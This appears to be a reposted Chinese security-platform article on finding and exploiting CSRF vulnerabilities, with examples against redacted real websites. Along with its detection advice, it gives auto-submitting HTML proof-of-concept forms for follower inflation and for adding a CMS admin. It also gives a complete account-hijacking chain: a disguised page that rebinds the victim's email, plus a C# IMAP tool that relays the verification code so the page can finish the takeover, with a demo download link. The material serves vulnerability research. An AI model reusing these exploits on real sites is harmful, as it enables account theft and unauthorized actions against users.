CSRF漏洞的挖掘与利用

Posted Sobug安全平台

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF漏洞的挖掘与利用相关的知识,希望对你有一定的参考价值。

CSRF的攻击原理是什么?


CSRF 百度上的意思是跨站请求伪造,其实最简单的理解我们可以这么讲,假如一个微博关注用户的一个功能,存在CSRF漏洞,那么此时黑客只需要伪造一个页面让受害者间接或者直接触发,然后这个恶意页面就可以使用受害者的微博权限去关注其他的人微博账户。CSRF只要被批量化利用起来其危害还是比较大的。


举个例子,比如笔者在新浪首页执行了一次搜索请求。




CSRF漏洞成因及分类


第一种


请求直接是个GET请求,然后请求中没有token验证参数,然后还有一个固定的变量可以被控制。这种是比较常见的一种CSRF漏洞。这种漏洞的检测方法很简单:网页操作某功能,抓包后,如果发现满足上面条件,然后再去页面测试下,基本就可以确定存在不存在CSRF漏洞了。


实例


某微博站曾存在的一个漏洞,关注用户微博的请求如下(其中key的值是每一个用户独有唯一的):


http://***.****.com/reflow/follow?resType=json&isAjax=1&key=226216966


笔者根据上面的测试方法进行测试发现无token,但是对referer做了校验,但是csrf的情况还是存在的,因为被攻击者的referer往往是和CSRF漏洞的GET请求是同域的,所以除非验证的相当的严格,一般情况下的验证是无效的,此类的站点输入微博类的站点,用户可以随随便便在上面发送微博,微博中可以带上该链接,只要受害者点击即可关注黑客的微博了。


第二种


请求是个POST请求,post请求中没有token参数,然后请求也没有验证referer信息。这种是存在CSRF情况最多的一种。这种漏洞的检测方法也很简单:网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。


如果有token等参数,可以尝试将token去掉,然后再将referer也去掉,进行验证。这种CSRF漏洞的利用,是需要在自己服务器构造一个form表单的,然后将服务器form表单的URL作为CSRF攻击进行利用的,或者用js代码生成form表单,或者用ajax实现。


实例


某微博主页刷粉丝,利用poc如下:


<html>

<body>

<form name="px" method="post" action="http://widget.******.com/plugin/followbutton/addfans">

<input type="text" name="page_id" value="60185****">

</form>

<script>

document.px.submit();

</script>

</body>

</html>


第三种


请求是POST,post请求中没有token参数,但是验证了referer信息。然而可以将post请求改写为get请求,然后通过第一种情况下的那个方法利用。这种的检测方法,就是先执行了第二种的验证后,发现有对CSRF进行防御。然后将post请求改写为GET请求,发现仍然可以成功执行。漏洞成因是因为服务器端接收请求参数的时候,没有严格的用$_POST 而是用的类似于 $_REQUEST这种post,get请求的参数都可以接收的写法。


实例(某通用cms添加后台管理员的CSRF漏洞)


添加后台管理员请求如下:


CSRF漏洞的挖掘与利用


然后发现将post请求改成get也可以成功发包。


http://127.0.0.1/asp/Survey/admin/Admin.asp?Username=test222&Password1=123456&Password2=123456&action=yes


如何利用CSRF劫持账号


原理


前几天看了两篇任意密码重置的文章,发现分析的挺不错的,其实“盗取”用户帐号的方式有很多,笔者就以一个真实的案例来写一下:




笔者点击重新绑定,输入自己的一个新邮箱,发现一个有趣的现象,程序会把验证码发送到新的邮箱,也就是说这里根本没有校验原始的邮箱,是不是本人请求的绑定验证码,程序认为只要拥有这个账户密码的人100%等于这个账号的主人了。先看一下这个请求的数据包,如下:


Host: www.**.com

Connection: keep-alive

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome

Referer: http://www.**.com/user.php?a=basicinfo

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: this is cookie


经过测试这里并没有校验referer,这里的CSRF是存在的,笔者把正确的验证码填上去然后在抓取下判断验证码是否正确的验证包,如下:


POST /user.php?a=basicinfo&m=myemail HTTP/1.1

Host: www.***.com

Connection: keep-alive

Content-Length: 62

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://www.***.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome

Content-Type: application/x-www-form-urlencoded

Referer: http://www.***.com/user.php?a=basicinfo

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: this is cookie



经过确认这里没有token也没有校验referer,那么问题来的,这两个地方均存在csrf,该怎么利用呢?首先,程序会把验证码发送到新的邮箱中,那么验证码这个是我们可以控制的,其实这个主要分两个步骤,先把主要更换的邮箱提交下,然后获取验证码,再把验证码提交验证是否正确,攻击的流程是把这两部分自动化实现。笔者理一下攻击的实现流程:


1、伪造一个恶意页面,让受害者访问,然后该页面自动向网站发出更换邮箱(攻击者的邮箱)的请求,程序就会把验证码发送到攻击者的邮箱中

2、写个程序快速的把验证码从邮箱中读取出来,写在一个txt里面,这个txt在一个web目录下面,以供外网访问

3、等待3-4秒之后,恶意页面会自动访问上一步骤生成的txt页面,获取验证码,然后带验证码再继续Post完成校验,整个攻击流程结束

4、攻击者通过自己的邮箱,找回受害者的账户


利用代码


恶意页面代码:


<script>

if(document.referrer=='http://www.******.com/user.php?a=basicinfo&m=myemail'){

window.location.href='http://www.baidu.com';

}

</script>

<font size=3><B>正在载入页面,请稍等..</B></font>

<script type="text/javascript" src="http://www.php100.com/manual/jquery/jquery/js/jquery.js"></script>

<html xmlns="http://www.w3.org/1999/xhtml">

<form id='attackpost' action="http://www.*****.com/user.php?a=basicinfo&m=myemail" method="POST">

<input id="result" type="hidden" name="emailCode" value="123456">

<input type="hidden" name="Uei_id" value="">

<input type="hidden" name="x" value="68">

<input type="hidden" name="y" value="6">

</form>

<script>


var iframeLoaded = function (iframe) {

if (iframe.src.length > 0) {

if (!iframe.readyState || iframe.readyState == "complete") {

//setInterval(onComplete,2000)

setTimeout(onComplete,4000);

console.log("ok");

}

}

}

function onComplete(){

$.get("key.txt", function(data){

if(data!=null){

$("#result").val(data);

attackpost=document.getElementById("attackpost");

attackpost.submit();

}

});

}

</script>

这里写需要绑定的邮箱&0.8968348051803765" width="0" height="0">


程序核心代码如下(C#):


using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Text;

using S22.Imap;

using System.Text.RegularExpressions;

using System.IO;


{

class Program

{

static void Main(string[] args)

{

Console.WriteLine(" ----------------------------------------------------------------");

Console.WriteLine(" + +");

Console.WriteLine(" + CSRF劫持帐号测试 +");

Console.WriteLine(" + Www.Sobug.Com +");

Console.WriteLine(" + +");

Console.WriteLine(" ----------------------------------------------------------------");

Console.WriteLine();

string ImapServer = Console.ReadLine();

string ImapUserame = Console.ReadLine();

Console.Write("请输入密码:");

string ImapPwd = Console.ReadLine();

ImapClient imap = new ImapClient(ImapServer, 993, true);

try

{

imap.Login(ImapUserame, ImapPwd, AuthMethod.Login);

string oldstr = null;

// 也可以使用通过其它条件进行检索你的邮件

while (true)

{

uint[] uids = imap.Search(SearchCondition.All());

if (uids.Length > 0)

{

System.Net.Mail.MailMessage msg = imap.GetMessage(uids[uids.Length - 1]);

//Console.WriteLine(msg.Subject);

//Console.WriteLine(msg.Body);

string regexStr = @"<b>(.*?)</b>";

Match mc = Regex.Match(msg.Body, regexStr, RegexOptions.IgnoreCase);

string regexStrName = @"(.*?)您好!";

Match name = Regex.Match(msg.Body, regexStrName, RegexOptions.IgnoreCase);

if (mc.Groups[1].Value!=oldstr)//获取最新的验证码写入到key.txt当中

{

FileStream aFile = new FileStream("key.txt", FileMode.OpenOrCreate);

StreamWriter sw = new StreamWriter(aFile);

sw.Write(mc.Groups[1].Value);

sw.Close();

Console.WriteLine(name.Groups[1].Value + "劫持成功!");

oldstr = mc.Groups[1].Value;

}

}

else

{

Console.WriteLine("没有你要找的邮件");

}

}

imap.Dispose();

}

catch (InvalidCredentialsException)

{

Console.WriteLine("服务器拒绝连接,可能密码错误!");

imap.Dispose();

}

Console.ReadKey();

}

}

}


Demo下载:http://pan.baidu.com/s/1gdmvicr


最后,感谢白帽子Boom提供“如何利用CSRF劫持账号”的案例以及利用代码,其余文中所涉及的案例均有作者本人原创发现。


文章来源Sobug漏洞时间


---------------------------

SOBUG 一个连接安全专家与厂商的网络安全众测平台。

新浪微博:@Sobug众测平台

以上是关于CSRF漏洞的挖掘与利用的主要内容,如果未能解决你的问题,请参考以下文章

一个csrf实例漏洞挖掘带你了解什么是csrf

第12阶段 SRC安全应急响应中心漏洞挖掘视频教程第七期课程 11.CSRF漏洞与SRC挖掘经验

小学生都会挖掘的JSON Hijacking实战利用

CSRF漏洞的利用与学习

挖洞经验 | 利用XSS和CSRF漏洞远程实现PayPal合作方网站未授权账户访问

大咖面对面 | 二十期:浅谈CSRF漏洞——洛神